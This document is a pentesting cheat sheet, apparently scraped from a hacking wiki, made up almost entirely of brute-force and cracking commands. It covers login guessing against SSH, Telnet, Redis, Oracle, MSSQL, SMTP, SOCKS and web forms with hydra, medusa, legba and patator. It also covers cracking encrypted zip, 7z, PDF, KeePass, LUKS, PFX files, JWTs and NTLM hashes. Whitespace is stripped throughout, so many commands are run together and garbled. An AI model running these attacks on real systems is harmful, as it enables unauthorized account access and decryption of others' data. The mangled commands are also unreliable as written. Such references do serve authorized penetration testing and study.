Find as much information about the target as you can and generate a custom dictionary. Tools that may help:
Crunch
crunch460123456789ABCDEF-ocrunch1.txt#From length 4 to 6 using that alphabetcrunch44-f/usr/share/crunch/charset.lstmixalpha# Only length 4 using charset mixalpha (inside file charset.lst)@Lowercasealphacharacters,Uppercasealphacharacters%Numericcharacters^Specialcharactersincludingspaccrunch68-t,@@^^%%
A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target.
hydra-L/usr/share/brutex/wordlists/simple-users.txt-P/usr/share/brutex/wordlists/password.lstsizzle.htb.localhttp-get/certsrv/# Use https-get mode for httpsmedusa-h<IP>-u<username>-P<passwords.txt>-Mhttp-mDIR:/path/to/auth-T10legbahttp.basic--usernameadmin--passwordwordlists/passwords.txt--targethttp://localhost:8888/
hydra-L/usr/share/brutex/wordlists/simple-users.txt-P/usr/share/brutex/wordlists/password.lstdomain.htbhttp-post-form"/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect"-V# Use https-post-form mode for https
For https you have to change from "http-post-form" to "https-post-form"
HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle
cmsmap-fW/J/D/M-ua-pahttps://wordpress.com# Check also https://github.com/evilsocket/legba/wiki/HTTP
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-tltickets.txt-ulusers.txt-hlhashes.txt-plpasswords.txt# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-hlhashes.txt-plpasswords.txt# Bruteforce using tickets against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-tltickets.txt-ulusers.txt# Bruteforce using passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-plpasswords.txt# Bruteforce using hashes against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-hlhashes.txt
patatororacle_loginsid=<SID>host=<IP>user=FILE0password=FILE10=users-oracle.txt1=pass-oracle.txt-xignore:code=ORA-01017./odat.pypasswordguesser-s $SERVER -d $SID./odat.pypasswordguesser-s $MYSERVER -p $PORT --accounts-fileaccounts_multiple.txt#msf1msf> useadmin/oracle/oracle_loginmsf> setRHOSTS<IP>msf> setRPORT1521msf> setSID<SID>#msf2, this option uses nmap and it fails sometimes for some reasonmsf> usescanner/oracle/oracle_loginmsf> setRHOSTS<IP>msf> setRPORTS1521msf> setSID<SID>#for some reason nmap fails sometimes when executing this scriptnmap--scriptoracle-brute-p1521--script-argsoracle-brute.sid=<SID><IP>legbaoracle--targetlocalhost:1521--oracle-databaseSYSTEM--usernameadmin--passworddata/passwords.txt
In order to use oracle_login with patator you need to install:
msf> useauxiliary/scanner/redis/redis_loginnmap--scriptredis-brute-p6379<IP>hydra–P/path/pass.txtredis://<IP>:<PORT># 6379 is the defaultlegbaredis--targetlocalhost:6379--usernameadmin--passworddata/passwords.txt [--redis-ssl]
legbasftp--usernameadmin--passwordwordlists/passwords.txt--targetlocalhost:22# Try keys from a folderlegbasftp--usernameadmin--password'@/some/path/*'--ssh-auth-modekey--targetlocalhost:22
hydra-l<username>-P/path/to/passwords.txt<IP>smtp-Vhydra-l<username>-P/path/to/passwords.txt-s587<IP>-S-v-V#Port 587 for SMTP with SSLlegbasmtp--usernameadmin@example.com--passwordwordlists/passwords.txt--targetlocalhost:25 [--smtp-mechanism <mech>]
SOCKS
nmap-vvv-sCV--scriptsocks-brute--script-argsuserdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m-p1080<IP>legbasocks5--targetlocalhost:1080--usernameadmin--passworddata/passwords.txt# With alternative addresslegbasocks5--targetlocalhost:1080--usernameadmin--passworddata/passwords.txt--socks5-address'internal.company.com'--socks5-port8080
SQL Server
#Use the NetBIOS name of the machine as domaincrackmapexecmssql<IP>-d<DomainName>-uusernames.txt-ppasswords.txthydra-L/root/Desktop/user.txt–P/root/Desktop/pass.txt<IP>mssqlmedusa-h<IP>–U/root/Desktop/user.txt–P/root/Desktop/pass.txt–Mmssqlnmap-p1433--scriptms-sql-brute--script-argsmssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts<host>#Use domain if needed. Be careful with the number of passwords in the list, this could block accountsmsf> useauxiliary/scanner/mssql/mssql_login#Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
SSH
hydra-lroot-Ppasswords.txt [-t 32]<IP>sshncrack-p22--userroot-Ppasswords.txt<IP> [-T 5]medusa-uroot-P500-worst-passwords.txt-h<IP>-Msshpatatorssh_loginhost=<ip>port=22user=root0=/path/passwords.txtpassword=FILE0-xignore:mesg='Authentication failed'legbassh--usernameadmin--passwordwordlists/passwords.txt--targetlocalhost:22# Try keys from a folderlegbassh--usernameadmin--password'@/some/path/*'--ssh-auth-modekey--targetlocalhost:22
Weak SSH keys / Debian predictable PRNG
Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as snowdroppe/ssh-keybrute. Pre-generated sets of weak keys are also available such as g0tmi1k/debian-ssh.
STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ)
The STOMP text protocol is a widely used messaging protocol that allows seamless communication and interaction with popular message queueing services such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations.
hydra-lroot-Ppasswords.txt [-t 32]<IP>telnetncrack-p23--userroot-Ppasswords.txt<IP> [-T 5]medusa-uroot-P500-worst-passwords.txt-h<IP>-Mtelnetlegbatelnet \--usernameadmin \--passwordwordlists/passwords.txt \--targetlocalhost:23 \--telnet-user-prompt"login: " \--telnet-pass-prompt"Password: " \--telnet-prompt":~$ " \--single-match# this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
You need to know the plaintext (or part of the plaintext) of a file contained inside the encrypted zip. You can check filenames and size of files contained inside an encrypted zip running: 7z l encrypted.zip
Download bkcrackfrom the releases page.
# You need to create a zip file containing only the file that is inside the encrypted zipzipplaintext.zipplaintext.file./bkcrack-C<encrypted.zip>-c<plaintext.file>-P<plaintext.zip>-p<plaintext.file># Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18# With that key you can create a new zip file with the content of encrypted.zip# but with a different pass that you set (so you can decrypt it)./bkcrack-C<encrypted.zip>-k7b549874ebc25ec57e465e18-Uunlocked.zipnew_pwdunzipunlocked.zip#User new_pwd as password
7z
cat/usr/share/wordlists/rockyou.txt|7zatbackup.7z
#Download and install requirements for 7z2johnwgethttps://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.plapt-getinstalllibcompress-raw-lzma-perl./7z2john.plfile.7z>7zhash.john
PDF
apt-getinstallpdfcrackpdfcrackencrypted.pdf-w/usr/share/wordlists/rockyou.txt#pdf2john didn't work well, john didn't know which hash type was# To permanently decrypt the pdfsudoapt-getinstallqpdfqpdf--password=<PASSWORD>--decryptencrypted.pdfplaintext.pdf
gitclonehttps://github.com/Sjord/jwtcrack.gitcdjwtcrack#Bruteforce using crackjwt.pypythoncrackjwt.pyeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc/usr/share/wordlists/rockyou.txt#Bruteforce using johnpythonjwt2john.pyeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc>jwt.johnjohnjwt.john#It does not work with Kali-John
sudoapt-getinstall-ykpcli#Install keepass tools like keepass2johnkeepass2johnfile.kdbx>hash#The keepass is only using passwordkeepass2john-k<file-password>file.kdbx>hash# The keepass is also using a file as a needed credential#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2johnjohn--wordlist=/usr/share/wordlists/rockyou.txthash
bruteforce-luks-f./list.txt./backup.imgcryptsetupluksOpenbackup.imgmylucksopenls/dev/mapper/#You should find here the image mylucksopenmount/dev/mapper/mylucksopen/mnt
Method 2
cryptsetupluksDumpbackup.img#Check that the payload offset is set to 4096ddif=backup.imgof=luckshashbs=512count=4097#Payload offset +1hashcat-m14600-a0luckshashwordlists/rockyou.txtcryptsetupluksOpenbackup.imgmylucksopenls/dev/mapper/#You should find here the image mylucksopenmount/dev/mapper/mylucksopen/mnt
If you have an xlsx file with a column protected by a password you can unprotect it:
Upload it to google drive and the password will be automatically removed
To remove it manually:
unzipfile.xlsxgrep-R"sheetProtection"./*# Find something like: <sheetProtection algorithmName="SHA-512"hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/># Remove that line and rezip the filezip-rfile.xls.
PFX Certificates
# From https://github.com/Ridter/p12tool./p12toolcrack-cstaff.pfx-f/usr/share/wordlists/rockyou.txt# From https://github.com/crackpkcs12/crackpkcs12crackpkcs12-d/usr/share/wordlists/rockyou.txt./cert.pfx
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
Wordlist combinator attack
It's possible to combine 2 wordlists into 1 with hashcat.
If list 1 contained the word "hello" and the second contained 2 lines with the words "world" and "earth". The words helloworld and helloearth will be generated.
# This will combine 2 wordlistshashcat.exe-a1-m1000C:\Temp\ntlm.txt.\wordlist1.txt.\wordlist2.txt# Same attack as before but adding chars in the newly generated words# In the previous example this will generate:## hello-world!## hello-earth!hashcat.exe-a1-m1000C:\Temp\ntlm.txt.\wordlist1.txt.\wordlist2.txt-j $- -k $!
Mask attack (-a 3)
# Mask attack with simple maskhashcat.exe-a3-m1000C:\Temp\ntlm.txt?u?l?l?l?l?l?l?l?dhashcat--help#will show the charsets and are as follows?|Charset===+=========l|abcdefghijklmnopqrstuvwxyzu|ABCDEFGHIJKLMNOPQRSTUVWXYZd|0123456789h|0123456789abcdefH|0123456789ABCDEFs|!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~a|?l?u?d?sb|0x00-0xff# Mask attack declaring custom charsethashcat.exe-a3-m1000C:\Temp\ntlm.txt-1?d?s?u?l?l?l?l?l?l?l?1## -1 ?d?s defines a custom charset (digits and specials).## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.# Mask attack with variable password length## Create a file called masks.hcmask with this content:?d?s,?u?l?l?l?l?1?d?s,?u?l?l?l?l?l?1?d?s,?u?l?l?l?l?l?l?1?d?s,?u?l?l?l?l?l?l?l?1?d?s,?u?l?l?l?l?l?l?l?l?1## Use it to crack the passwordhashcat.exe-a3-m1000C:\Temp\ntlm.txt.\masks.hcmask
# Mask numbers will be appended to each word in the wordlisthashcat.exe-a6-m1000C:\Temp\ntlm.txt \wordlist.txt?d?d?d?d# Mask numbers will be prepended to each word in the wordlisthashcat.exe-a7-m1000C:\Temp\ntlm.txt?d?d?d?d \wordlist.txt